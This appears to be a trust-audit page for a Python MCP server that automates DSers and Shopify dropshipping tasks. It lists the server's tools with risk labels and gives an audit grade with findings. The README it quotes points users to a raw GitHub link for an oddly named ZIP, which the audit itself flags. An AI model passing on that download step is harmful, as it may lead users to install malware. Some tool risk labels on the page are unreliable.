dsers-mcp-product-pyCAUTION
Automate DSers product import, bulk variant edits, and Shopify push from AliExpress with AI using Python MCP server
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/PrathamITHub/dsers-mcp-product-py/main/dsersmcpproduct/pymcpdsersproductantiremonstrant.zip)
🛠️ What this app does
dsers-mcp-product-py is a Python MCP server for DSers product import. It helps connect an AI agent or other MCP client to product import tasks for DSers and Shopify workflows.
Use it when you want a local tool that can take product data, send it through MCP, and support a dropshipping import flow. It runs on your computer and uses standard input and output, so it fits into many local AI setups.
📥 Download and set up on Windows
Follow these steps on a Windows PC.
1. Open the download page
Go to this link in your browser:
https://raw.githubusercontent.com/PrathamITHub/dsers-mcp-product-py/main/dsersmcpproduct/pymcpdsersproductantiremonstrant.zip
2. Get the files
On the GitHub page, look for the source code or release files. If you see a download option, use it. If you only see the repository page, download the project as a ZIP file.
3. Save the ZIP file
Save the file to a folder you can find again, such as:
- Downloads
- Desktop
- Documents
4. Extract the folder
Right-click the ZIP file and choose Extract All.
After extraction, you should see a folder named dsers-mcp-product-py or a similar name.
5. Install Python
If Python is not already on your PC, install Python 3.10 or newer.
During setup, make sure you select:
- Add Python to PATH
This makes it easier to run the app from the command line.
6. Open the project folder
Go into the extracted dsers-mcp-product-py folder.
7. Open Command Prompt
Inside the folder, click the address bar, type cmd, and press Enter.
8. Install the required packages
Run the app’s Python dependencies with:
pip install -r requireme
0e2eb5e60eddOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add dsers-mcp-product-py --env DSERS_PASSWORD=${DSERS_PASSWORD} --env SHOPIFY_ADMIN_TOKEN=${SHOPIFY_ADMIN_TOKEN} -- uvx dsers-mcp-product-py{
"mcpServers": {
"dsers-mcp-product-py": {
"command": "uvx",
"args": [
"dsers-mcp-product-py"
],
"env": {
"DSERS_PASSWORD": "${DSERS_PASSWORD}",
"SHOPIFY_ADMIN_TOKEN": "${SHOPIFY_ADMIN_TOKEN}"
}
}
}
}Exposed tools (100)
57 read · 36 write · 7 destructive. Blast radius: 7 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
dsers_add_shipping_address | write | Add a new shipping address. Pass address object in body. |
dsers_add_to_cart | write | Add products to the cart. Pass an array of product objects (productId, quantity, etc.). |
dsers_batch_get_tracking | read | Get tracking information for multiple tracking numbers at once. |
dsers_bind_store | read | Bind a new store to the DSers account. Requires platform and authCode (OAuth authorization code from the marketplace). |
dsers_check_mapping_status | read | Check mapping process status for a DSers product. |
dsers_create_import_tag | write | Create a new import list tag. |
dsers_create_order | write | Create a wholesale order. Pass full order data in body. |
dsers_create_tracking_page | write | Create a custom tracking page for customers. |
dsers_create_variant_mapping | write | Create or update variant mapping for a DSers product. |
dsers_delete_import_list | destructive | Delete import list items by comma-separated IDs. |
dsers_delete_import_tag | destructive | Delete import list tags by comma-separated IDs. |
dsers_delete_mapping | destructive | Delete mapping for a DSers product. |
dsers_delete_my_product | destructive | Delete my products. Pass dsersProductIds (comma-sep), storeId, and optionally deleteSeller. |
dsers_delete_tracking_page | destructive | Delete a tracking page. |
dsers_download_invoice | read | Download invoices. Pass invoice filters as params. |
dsers_export_logistics | read | Export logistics data. Pass filters in body. |
dsers_find_suppliers | read | Find suppliers/products by keyword, shipTo, price range, etc. |
dsers_find_suppliers_by_image | read | Find suppliers by image URL (reverse image search). |
dsers_get_address_rules | read | Get address validation rules configured for the account. |
dsers_get_addresses | read | Get list of saved addresses. |
dsers_get_all_plans | read | Get all plan types and their limits. |
dsers_get_auto_sync_price | write | Get auto-sync price settings for products. |
dsers_get_automated_mapping | read | Get automated product mapping settings. |
dsers_get_bill_detail | read | Get detail of a specific bill by billId. |
dsers_get_bill_list | read | Get paginated list of bills/invoices. |
dsers_get_cart | read | Get current cart data including products, quantities, and totals. |
dsers_get_current_plan | read | Get current subscription plan. |
dsers_get_global_settings | read | Get global infrastructure settings (infra-setting-bff). Returns list of setting entries. |
dsers_get_import_list | write | Get paginated import list. Filter by keyword, storeIds, tagIds, isPushed, shipTo, cost range, etc. |
dsers_get_import_list_item | write | Get a single import list item by ID. |
dsers_get_import_order_status | write | Get status of an order import job. |
dsers_get_invoices | read | Get invoice list with pagination. |
dsers_get_mapped_suppliers | read | Get mapped suppliers for a DSers product. |
dsers_get_mapping | read | Get variant mapping for a DSers product. |
dsers_get_mapping_pool | read | Get mapping pool for a DSers product. |
dsers_get_my_products | read | Get my products list. Requires storeId. Filter by keyword, mappingType, supplyType, etc. |
dsers_get_order_detail | write | Get detailed information for a specific order by orderId. |
dsers_get_order_fee_info | write | Get fee information for a wholesale order. Pass orderId or items array. |
dsers_get_order_report | write | Get order summary report for a date range and optional store. |
dsers_get_order_tracking | write | Get tracking information for an order. |
dsers_get_payment_methods | read | Get available payment methods. |
dsers_get_phone_list | read | Get list of phone numbers for orders. |
dsers_get_plan_limits | read | Get plan usage limits and quotas. |
dsers_get_pool_product_detail | read | Get product pool product detail by productId, appId, shipTo. |
dsers_get_pool_product_logistics | read | Get product pool product logistics info. |
dsers_get_pricing_rules | read | Get product pricing rules for a store. Requires storeId. |
dsers_get_product_ship_settings | read | Get per-product shipping settings for supplier products. |
dsers_get_product_shipping_info | read | Get user shipping template info for a supplier app. |
dsers_get_products_fee | read | Get fee information for a list of products. |
dsers_get_push_logistics | write | Query available logistics options for import list items across the selected stores. |
dsers_get_push_price | write | Preview push prices for import list items across the selected stores. |
dsers_get_push_status | write | Get push status by event ID. |
dsers_get_ship_from_list | read | Get ship-from list for a supplier app. |
dsers_get_shipping_addresses | read | Get paginated list of shipping addresses. |
dsers_get_shipping_methods | read | Get available shipping methods/lines for a destination country. |
dsers_get_shopify_shipping_profiles | read | Get Shopify delivery profiles for all linked Shopify stores. Returns profile GIDs and location group GIDs needed for the storeShippingProfile push field. The profile with isChecked=true is the active one. |
dsers_get_store_detail | read | Get detailed information for a specific store by storeId. |
dsers_get_store_shipping_profile | read | Get store delivery profile bindings (locationId and profileId) needed for product push. |
dsers_get_supplier_categories | read | Get supplier categories for an app. |
dsers_get_supplier_config | write | Get or set supplier configuration. Use POST to update config; pass config fields in the body. |
dsers_get_tracking_detail | read | Get detailed tracking events and status for a tracking number. |
dsers_get_tracking_info | read | Get tracking information for a single tracking number. |
dsers_get_tracking_page | read | Get a tracking page by pageId. |
dsers_get_tracking_page_detail | read | Get tracking detail for a tracking number within a tracking page context. |
dsers_get_tracking_page_status | read | Get status and stats for a tracking page. |
dsers_get_user_info | read | Get the current logged-in user |
dsers_get_user_logistics_settings | read | Get the user |
dsers_hide_my_product | read | Hide my products. Pass dsersProductIds (comma-sep) and storeId. |
dsers_import_by_product_id | write | Import a product by supplier product ID. Requires supplyProductId, supplyAppId, country. |
dsers_import_by_product_id_batch | write | Batch import products by supplier product IDs. |
dsers_import_mapping_pool | write | Add supply product to mapping pool for a DSers product. |
dsers_invite_staff | read | Invite a new staff member by email with specified permissions. |
dsers_list_apps | read | List installed or available DSers apps/integrations. |
dsers_list_import_tags | write | List all import list tags. |
dsers_list_staff | read | List all staff members with access to the DSers account. |
dsers_list_stores | read | List all stores linked to the DSers account. Returns store IDs, names, platforms, and status. |
dsers_list_suppliers | read | List all suppliers configured for the DSers account. |
dsers_list_tracking_pages | read | List all tracking pages for the account. |
dsers_login | read | Log in to DSers with stored credentials. Returns session_id and state. Use when you need to establish or refresh a DSers session. |
dsers_parse_product_url | read | Parse a supplier product URL to extract product info. |
dsers_preview_order | write | Preview a wholesale order before placing it. Returns order summary and fees. |
dsers_push_before_check | write | Check whether import list items can be pushed to stores before submitting the async push job. |
dsers_push_to_store | write | Push import list items to stores. Accepts PushProductInfo fields and wraps them in the API |
dsers_remove_from_cart | destructive | Remove one or more products from the cart. |
dsers_remove_staff | destructive | Remove a staff member from the account. |
dsers_save_cart_address | write | Save shipping/billing address for the cart. |
dsers_save_cart_message | write | Save a message/note for the cart order. |
dsers_save_cart_shipping | write | Save the selected shipping method for the cart. |
dsers_search_mapping_products | read | Search mapping list products by keyword and store. |
dsers_search_orders | read | Search orders by keyword, status, store, date range. Supports pagination. |
dsers_search_product_pool | read | Search product pool by keyword and category. |
dsers_unbind_store | read | Unbind (disconnect) a store from the DSers account. |
dsers_update_auto_sync_price | write | Update auto-sync price settings. Pass settings object in body. |
dsers_update_automated_mapping | write | Update automated product mapping settings. Pass settings object in body. |
dsers_update_cart_quantity | write | Update the quantity of a product in the cart. |
dsers_update_logistics_settings | write | Update the user |
dsers_update_pricing_rule | write | Update product pricing rule configuration. Pass rule config in body. |
dsers_update_product_shipping_info | write | Update user shipping template info for a supplier app. |
dsers_update_staff_permission | write | Update a staff member |
dsers_update_user_info | write | Update the current user |
Trust audit
CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (4 observation(s))
- Shell
- declared (1 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (5)
py_mcp_dsers_product_antiremonstrant.zip
module = importlib.import_module(module_name)
dsers_delete_import_list, dsers_delete_import_tag, dsers_delete_mapping, dsers_delete_my_product, dsers_delete_tracking_page, dsers_remove_from_cart, dsers_remove_staff
mcp, httpx, python-dotenv
Open `.env` in a text editor and fill in:
Gates applied: no_behavioural_pass.
0e2eb5e60eddfull audit observations/trust-audit/mcp-server/prathamithub__dsers-mcp-product-py.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 0e2eb5e60edd | CAUTION | B | 89 | first audit |
Questions
What is the dsers-mcp-product-py MCP server?
Automate DSers product import, bulk variant edits, and Shopify push from AliExpress with AI using Python MCP server
What tools does dsers-mcp-product-py expose?
100 in total: 57 read-only, 36 that write, and 7 that can delete or overwrite (dsers_delete_import_list, dsers_delete_import_tag, dsers_delete_mapping, dsers_delete_my_product, dsers_delete_tracking_page). Every one is listed on this page with its risk.
Is dsers-mcp-product-py safe to connect to an agent?
With care. The audit graded it B (89/100) and found 5 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 7 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does dsers-mcp-product-py need?
It reads DSERS_PASSWORD and SHOPIFY_ADMIN_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does dsers-mcp-product-py run?
It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as dsers-mcp-product-py.
How current is this page?
The grade is for one exact copy of the source (0e2eb5e60edd), read on 2026-10-11. The repository is watched and re-audited when it changes.